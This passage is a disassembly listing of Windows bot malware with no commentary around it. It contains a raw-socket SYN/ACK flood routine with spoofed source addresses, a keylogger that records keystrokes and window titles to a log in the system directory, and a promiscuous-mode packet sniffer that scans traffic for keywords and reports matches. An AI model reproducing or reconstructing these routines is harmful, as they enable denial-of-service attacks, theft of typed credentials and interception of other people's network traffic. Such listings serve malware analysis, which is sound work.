loc_401B78:				; CODE XREF: sub_4018CA+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_4018CA	endp


; =============== S U B	R O U T	I N E =======================================



sub_401B7C	proc near		; CODE XREF: sub_40182E+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40A05B
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_415A5F
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_415A5F
		mov	edi, eax
		call	sub_415543
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4018CA
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_401BC7
		push	1
		pop	eax


loc_401BC7:				; CODE XREF: sub_401B7C+46j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401B7C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401BD6	proc near		; DATA XREF: sub_40CE55+2C1Eo

var_440		= byte ptr -440h
var_240		= dword	ptr -240h
var_23C		= byte ptr -23Ch
var_1BC		= byte ptr -1BCh
var_13C		= byte ptr -13Ch
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A0		= byte ptr -0A0h
var_9F		= byte ptr -9Fh
var_8C		= byte ptr -8Ch
var_80		= byte ptr -80h
var_78		= byte ptr -78h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_5B		= byte ptr -5Bh
var_5A		= word ptr -5Ah
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 440h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_240]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_9F]
		push	0Eh
		mov	[eax+19Ch], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_A0], bl
		rep stosd
		stosw
		stosb
		mov	edi, dword_42104C
		call	edi	; GetTickCount
		push	eax
		call	sub_415539
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	dword_43A418	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_401C9F
		call	dword_43A32C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_423438
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_401C7F
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_412D4C
		add	esp, 14h


loc_401C7F:				; CODE XREF: sub_401BD6+84j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40B16D
		push	[ebp+var_BC]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread


loc_401C9F:				; CODE XREF: sub_401BD6+61j
		lea	ecx, [ebp+var_34]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_34], esi
		call	dword_43A378	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401D1D
		call	dword_43A32C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_4233EC
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_401CFD
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_412D4C
		add	esp, 14h


loc_401CFD:				; CODE XREF: sub_401BD6+102j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40B16D
		push	[ebp+var_BC]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread


loc_401D1D:				; CODE XREF: sub_401BD6+DFj
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_43A3D8	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401D8D
		lea	eax, [ebp+var_440]
		push	offset dword_4233B8
		push	eax
		call	sub_4154E7
		cmp	[ebp+var_A8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_401D6D
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_412D4C
		add	esp, 14h


loc_401D6D:				; CODE XREF: sub_401BD6+172j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40B16D
		push	[ebp+var_BC]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread


loc_401D8D:				; CODE XREF: sub_401BD6+157j
		push	10h
		lea	eax, [ebp+var_44]
		push	ebx
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	ebx
		call	dword_43A398	; ntohs
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_43A3D8	; inet_addr
		mov	[ebp+var_40], eax
		mov	[ebp+arg_0], ebx
		call	edi	; GetTickCount
		mov	[ebp+var_30], eax


loc_401DC5:				; CODE XREF: sub_401BD6+430j
		call	edi	; GetTickCount
		sub	eax, [ebp+var_30]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_B4]
		ja	loc_402089
		push	28h
		mov	[ebp+var_2C], 45h
		call	dword_43A398	; ntohs
		cmp	[ebp+var_B0], ebx
		mov	[ebp+var_2A], ax
		mov	[ebp+var_28], si
		mov	[ebp+var_26], bx
		mov	[ebp+var_24], 80h
		mov	[ebp+var_23], 6
		mov	[ebp+var_22], bx
		jz	short loc_401E38
		call	sub_415543
		mov	esi, eax
		shl	esi, 8
		call	sub_415543
		add	esi, eax
		shl	esi, 8
		call	sub_415543
		add	esi, eax
		shl	esi, 8
		call	sub_415543
		add	esi, eax
		push	1
		mov	[ebp+var_20], esi
		pop	esi
		jmp	short loc_401E4E
; ---------------------------------------------------------------------------


loc_401E38:				; CODE XREF: sub_401BD6+233j
		push	[ebp+var_240]
		call	sub_40A171
		pop	ecx
		push	eax
		call	dword_43A3D8	; inet_addr
		mov	[ebp+var_20], eax


loc_401E4E:				; CODE XREF: sub_401BD6+260j
		mov	eax, [ebp+var_40]
		cmp	[ebp+var_B8], ebx
		mov	[ebp+var_1C], eax
		jnz	short loc_401E6C
		call	sub_415543
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_401E72
; ---------------------------------------------------------------------------


loc_401E6C:				; CODE XREF: sub_401BD6+284j
		push	[ebp+var_B8]


loc_401E72:				; CODE XREF: sub_401BD6+294j
		call	dword_43A398	; ntohs
		mov	[ebp+var_16], ax
		call	sub_415543
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_43A398	; ntohs
		push	12345678h
		mov	[ebp+var_18], ax
		call	dword_43A394	; ntohl
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_1BC]
		push	offset aSyn	; "syn"
		push	eax
		call	sub_415AC0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401EC2
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 2
		jmp	short loc_401F1E
; ---------------------------------------------------------------------------


loc_401EC2:				; CODE XREF: sub_401BD6+2E1j
		lea	eax, [ebp+var_1BC]
		push	offset aAck	; "ack"
		push	eax
		call	sub_415AC0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401EE2
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 10h
		jmp	short loc_401F1E
; ---------------------------------------------------------------------------


loc_401EE2:				; CODE XREF: sub_401BD6+301j
		lea	eax, [ebp+var_1BC]
		push	offset aRandom	; "random"
		push	eax
		call	sub_415AC0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F1E
		call	sub_415543
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_10], edx
		call	sub_415543
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_B], dl


loc_401F1E:				; CODE XREF: sub_401BD6+2EAj
					; sub_401BD6+30Aj ...
		push	200h
		mov	[ebp+var_C], 50h
		call	dword_43A398	; ntohs
		mov	[ebp+var_A], ax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_64], eax
		mov	eax, [ebp+var_1C]
		push	14h
		mov	[ebp+var_6], bx
		mov	[ebp+var_8], bx
		mov	[ebp+var_60], eax
		mov	[ebp+var_5C], bl
		mov	[ebp+var_5B], 6
		call	dword_43A398	; ntohs
		mov	[ebp+var_5A], ax
		lea	eax, [ebp+var_64]
		push	20h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_A0]
		push	34h
		push	eax
		call	sub_40A1CA
		mov	[ebp+var_8], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		call	sub_4155D0
		push	4
		lea	eax, [ebp+var_78]
		push	ebx
		push	eax
		call	sub_415570
		add	esp, 44h
		lea	eax, [ebp+var_A0]
		push	28h
		push	eax
		call	sub_40A1CA
		mov	[ebp+var_22], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4155D0
		add	esp, 14h
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_A0]
		push	3Ch
		push	eax
		push	[ebp+var_4]
		call	dword_43A3FC	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40200B
		inc	[ebp+arg_0]
		jmp	loc_401DC5
; ---------------------------------------------------------------------------


loc_40200B:				; CODE XREF: sub_401BD6+42Bj
		push	[ebp+var_4]
		call	dword_43A430	; closesocket
		call	dword_43A32C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		push	offset dword_423344
		lea	eax, [ebp+var_440]
		push	200h
		push	eax
		call	sub_415A6A
		add	esp, 18h
		cmp	[ebp+var_A8], ebx
		jnz	short loc_402069
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_412D4C
		add	esp, 14h


loc_402069:				; CODE XREF: sub_401BD6+46Ej
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40B16D
		push	[ebp+var_BC]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread


loc_402089:				; CODE XREF: sub_401BD6+203j
		push	[ebp+var_4]
		call	dword_43A430	; closesocket
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_B4]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_1BC]
		push	eax
		lea	eax, [ebp+var_440]
		push	offset dword_4232E0
		push	eax
		call	sub_4154E7
		add	esp, 1Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_4020FA
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_412D4C
		add	esp, 14h


loc_4020FA:				; CODE XREF: sub_401BD6+4FFj
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_40B16D
		push	[ebp+var_BC]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread
sub_401BD6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40211A	proc near		; CODE XREF: sub_4021FB+B4p
					; sub_4021FB+253p

var_314		= byte ptr -314h
var_114		= byte ptr -114h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= byte ptr  14h
arg_8C		= dword	ptr  94h
arg_90		= dword	ptr  98h

		push	ebp
		mov	ebp, esp


loc_40211D:				; DATA XREF: .nsp0:off_42F3B0o
		sub	esp, 314h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	dword_42105C	; GetLocalTime
		lea	eax, [ebp+var_114]
		push	104h
		push	eax
		call	dword_421058	; GetSystemDirectoryA
		lea	eax, [ebp+var_114]
		push	offset asc_423C30 ; "\\"
		push	eax
		call	sub_415C10
		lea	eax, [ebp+var_114]
		push	offset dword_42C20C
		push	eax
		call	sub_415C10
		lea	eax, [ebp+var_114]
		push	offset aAb	; "ab"
		push	eax
		call	sub_415BE8
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_402181
		push	1
		pop	eax
		jmp	short loc_4021F8
; ---------------------------------------------------------------------------


loc_402181:				; CODE XREF: sub_40211A+60j
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_415B96
		push	esi
		call	sub_415B40
		add	esp, 28h
		cmp	[ebp+arg_90], 0
		jnz	short loc_4021F6
		push	[ebp+arg_0]
		lea	eax, [ebp+var_314]
		push	offset dword_423BEC
		push	200h
		push	eax
		call	sub_415A6A
		push	0
		lea	eax, [ebp+var_314]
		push	[ebp+arg_8C]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 24h


loc_4021F6:				; CODE XREF: sub_40211A+A3j
		xor	eax, eax


loc_4021F8:				; CODE XREF: sub_40211A+65j
		pop	esi
		leave
		retn
sub_40211A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4021FB	proc near		; DATA XREF: sub_40CE55+1E1Eo

var_8DC		= dword	ptr -8DCh
var_8D8		= byte ptr -8D8h
var_4DC		= byte ptr -4DCh
var_2DD		= byte ptr -2DDh
var_2DC		= byte ptr -2DCh
var_DC		= byte ptr -0DCh
var_D8		= dword	ptr -0D8h
var_48		= byte ptr -48h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8DCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_8DC], 0
		push	25h
		and	[ebp+var_4], 0
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_DC]
		rep movsd
		mov	dword ptr [eax+90h], 1
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_8D8]
		rep stosd
		call	dword_43A320	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_43A334	; GetWindowTextA
		mov	ebx, 200h


loc_402256:				; CODE XREF: sub_4021FB+2C7j
		push	8
		call	dword_421060	; Sleep
		call	dword_43A320	; GetForegroundWindow
		cmp	eax, [ebp+var_8]
		jz	short loc_4022DE
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	dword_43A334	; GetWindowTextA
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		lea	eax, [ebp+var_4DC]
		push	offset aSChangedWindow ; "%s (Changed Windows: %s)"
		push	eax
		call	sub_4154E7
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+var_4DC]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	sub_40211A
		mov	[ebp+var_4], eax
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0
		push	eax
		call	sub_415570
		add	esp, 0A4h
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	0
		push	eax
		call	sub_415570
		add	esp, 0Ch


loc_4022DE:				; CODE XREF: sub_4021FB+6Cj
		mov	[ebp+arg_0], offset aB ; "b"


loc_4022E5:				; CODE XREF: sub_4021FB+2BDj
		push	10h
		call	dword_43A278	; GetKeyState
		movsx	esi, ax
		mov	eax, [ebp+arg_0]
		mov	edi, [eax-4]
		push	edi
		call	dword_43A364	; GetAsyncKeyState
		test	ah, 80h
		jz	short loc_40237D
		push	14h
		call	dword_43A278	; GetKeyState
		test	ax, ax
		jz	short loc_40232E
		cmp	esi, 0FFFFFFFFh
		jle	short loc_40232E
		cmp	edi, 40h
		jle	short loc_40232E
		cmp	edi, 5Bh
		jge	short loc_40232E
		mov	[ebp+edi*4+var_8DC], 1
		jmp	loc_4024AD
; ---------------------------------------------------------------------------


loc_40232E:				; CODE XREF: sub_4021FB+112j
					; sub_4021FB+117j ...
		push	14h
		call	dword_43A278	; GetKeyState
		test	ax, ax
		jz	short loc_402359
		test	esi, esi
		jge	short loc_40236D
		cmp	edi, 40h
		jle	short loc_402359
		cmp	edi, 5Bh
		jge	short loc_402359
		mov	[ebp+edi*4+var_8DC], 2
		jmp	loc_4024AD
; ---------------------------------------------------------------------------


loc_402359:				; CODE XREF: sub_4021FB+13Ej
					; sub_4021FB+147j ...
		test	esi, esi
		jge	short loc_40236D
		mov	[ebp+edi*4+var_8DC], 3
		jmp	loc_4024AD
; ---------------------------------------------------------------------------


loc_40236D:				; CODE XREF: sub_4021FB+142j
					; sub_4021FB+160j
		mov	[ebp+edi*4+var_8DC], 4
		jmp	loc_4024AD
; ---------------------------------------------------------------------------


loc_40237D:				; CODE XREF: sub_4021FB+105j
		mov	esi, [ebp+edi*4+var_8DC]
		lea	eax, [ebp+edi*4+var_8DC]
		test	esi, esi
		jz	loc_4024AD
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_2DC]
		cmp	edi, 8
		push	eax
		jnz	short loc_4023B5
		call	sub_415CF0
		and	[ebp+eax+var_2DD], 0
		pop	ecx
		jmp	loc_4024AD
; ---------------------------------------------------------------------------


loc_4023B5:				; CODE XREF: sub_4021FB+1A5j
		call	sub_415CF0
		cmp	eax, 1B9h
		pop	ecx
		jbe	short loc_4023E7
		call	dword_43A320	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_43A334	; GetWindowTextA
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset aSBufferFullS ; "%s (Buffer full) (%s)"
		jmp	short loc_402428
; ---------------------------------------------------------------------------


loc_4023E7:				; CODE XREF: sub_4021FB+1C5j
		cmp	edi, 0Dh
		jnz	loc_40247F
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_415CF0
		test	eax, eax
		pop	ecx
		jz	loc_4024AD
		call	dword_43A320	; GetForegroundWindow
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	dword_43A334	; GetWindowTextA
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset aSReturnS ; "%s (Return)	(%s)"


loc_402428:				; CODE XREF: sub_4021FB+1EAj
		lea	eax, [ebp+var_4DC]
		push	eax
		call	sub_4154E7
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+var_4DC]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	sub_40211A
		mov	[ebp+var_4], eax
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0
		push	eax
		call	sub_415570
		add	esp, 0A4h
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	0
		push	eax
		call	sub_415570
		add	esp, 0Ch
		jmp	short loc_4024AD
; ---------------------------------------------------------------------------


loc_40247F:				; CODE XREF: sub_4021FB+1EFj
		cmp	esi, 1
		jz	short loc_402498
		cmp	esi, 3
		jz	short loc_402498
		cmp	esi, 2
		jz	short loc_402493
		cmp	esi, 4
		jnz	short loc_4024AD


loc_402493:				; CODE XREF: sub_4021FB+291j
		push	[ebp+arg_0]
		jmp	short loc_40249F
; ---------------------------------------------------------------------------


loc_402498:				; CODE XREF: sub_4021FB+287j
					; sub_4021FB+28Cj
		mov	eax, [ebp+arg_0]
		add	eax, 7
		push	eax


loc_40249F:				; CODE XREF: sub_4021FB+29Bj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_415C10
		pop	ecx
		pop	ecx


loc_4024AD:				; CODE XREF: sub_4021FB+12Ej
					; sub_4021FB+159j ...
		add	[ebp+arg_0], 14h
		cmp	[ebp+arg_0], offset dword_423BB4
		jl	loc_4022E5
		cmp	[ebp+var_4], 0
		jz	loc_402256
		push	[ebp+var_D8]
		call	sub_4152AF
		pop	ecx
		push	0
		call	dword_421048	; ExitThread
sub_4021FB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4024DC	proc near		; DATA XREF: sub_40CE55+1C67o

var_102B4	= byte ptr -102B4h
var_102AB	= byte ptr -102ABh
var_102A8	= dword	ptr -102A8h
var_102A0	= dword	ptr -102A0h
var_10293	= byte ptr -10293h
var_1028C	= byte ptr -1028Ch
var_2B4		= byte ptr -2B4h
var_B4		= dword	ptr -0B4h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 102B4h
		call	sub_415D70
		mov	edx, [ebp+arg_0]
		push	esi
		push	edi
		push	1
		pop	eax
		mov	esi, edx
		push	25h
		lea	edi, [ebp+var_B4]
		pop	ecx
		mov	[ebp+var_8], eax
		rep movsd
		mov	[edx+90h], eax
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	esi
		call	dword_43A398	; ntohs
		push	[ebp+var_B4]
		mov	[ebp+var_1A], ax
		call	sub_40A171
		pop	ecx
		push	eax
		call	dword_43A3D8	; inet_addr
		push	esi
		push	3
		push	2
		mov	[ebp+var_18], eax
		call	dword_43A418	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jnz	short loc_4025B1
		call	dword_43A32C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset dword_42462C
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_402594
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_412D4C
		add	esp, 14h


loc_402594:				; CODE XREF: sub_4024DC+96j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40B16D
		push	[ebp+var_30]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread


loc_4025B1:				; CODE XREF: sub_4024DC+76j
		mov	eax, [ebp+var_30]
		push	10h
		imul	eax, 234h
		mov	dword_43F534[eax], edi
		lea	eax, [ebp+var_1C]
		push	eax
		push	edi
		call	dword_43A3C4	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402636
		call	dword_43A32C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset unk_4245E4
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_402612
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_412D4C
		add	esp, 14h


loc_402612:				; CODE XREF: sub_4024DC+114j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40B16D
		pop	ecx
		push	edi
		call	dword_43A430	; closesocket
		push	[ebp+var_30]
		call	sub_4152AF
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread


loc_402636:				; CODE XREF: sub_4024DC+F4j
		push	esi
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		push	esi
		push	esi
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	98000001h
		push	edi
		call	dword_43A344	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4026B9
		call	dword_43A32C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B4]
		push	offset unk_424598
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_402695
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_412D4C
		add	esp, 14h


loc_402695:				; CODE XREF: sub_4024DC+197j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40B16D
		pop	ecx
		push	edi
		call	dword_43A430	; closesocket
		push	[ebp+var_30]
		call	sub_4152AF
		pop	ecx
		push	esi
		call	dword_421048	; ExitThread


loc_4026B9:				; CODE XREF: sub_4024DC+177j
		push	ebx
		mov	ebx, offset dword_423C90


loc_4026BF:				; CODE XREF: sub_4024DC+21Bj
					; sub_4024DC+22Dj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_102B4]
		push	edi
		push	esi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_102B4]
		push	esi
		push	edi
		push	eax
		push	[ebp+var_4]
		call	dword_43A3B0	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_4027D1
		cmp	[ebp+var_102AB], 6
		jnz	short loc_4026BF
		mov	eax, [ebp+var_102A8]
		cmp	[ebp+var_10293], 18h
		mov	[ebp+var_C], eax
		jnz	short loc_4026BF
		lea	eax, [ebp+var_1028C]
		push	offset aPsniff	; "[PSNIFF]"
		push	eax
		call	sub_415AC0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4026BF
		mov	eax, ebx
		xor	edi, edi
		test	eax, eax
		jz	short loc_4026BF
		mov	[ebp+arg_0], ebx


loc_40272D:				; CODE XREF: sub_4024DC+26Cj
		push	eax
		lea	eax, [ebp+var_1028C]
		push	eax
		call	sub_415AC0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40274F
		inc	edi
		add	[ebp+arg_0], 18h
		mov	eax, [ebp+arg_0]
		jnz	short loc_40272D
		jmp	loc_4026BF
; ---------------------------------------------------------------------------


loc_40274F:				; CODE XREF: sub_4024DC+262j
		lea	eax, [ebp+var_1028C]
		push	eax
		push	[ebp+var_102A0]
		call	dword_43A2D4	; ntohs
		movzx	eax, ax
		push	eax
		push	[ebp+var_C]
		call	dword_43A424	; inet_ntoa
		push	eax
		lea	eax, [edi+edi*2]
		mov	eax, dword_423CA4[eax*8]
		push	off_423C80[eax*4]
		lea	eax, [ebp+var_2B4]
		push	offset unk_424544
		push	200h
		push	eax
		call	sub_415A6A
		add	esp, 1Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_4027BF
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_412D4C
		add	esp, 14h


loc_4027BF:				; CODE XREF: sub_4024DC+2C1j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40B16D
		pop	ecx
		jmp	loc_4026BF
; ---------------------------------------------------------------------------


loc_4027D1:				; CODE XREF: sub_4024DC+20Ej
		call	dword_43A32C	; WSAGetLastError
		push	eax
		push	offset unk_4244FC
		lea	eax, [ebp+var_2B4]
		push	200h
		push	eax
		call	sub_415A6A
		add	esp, 10h
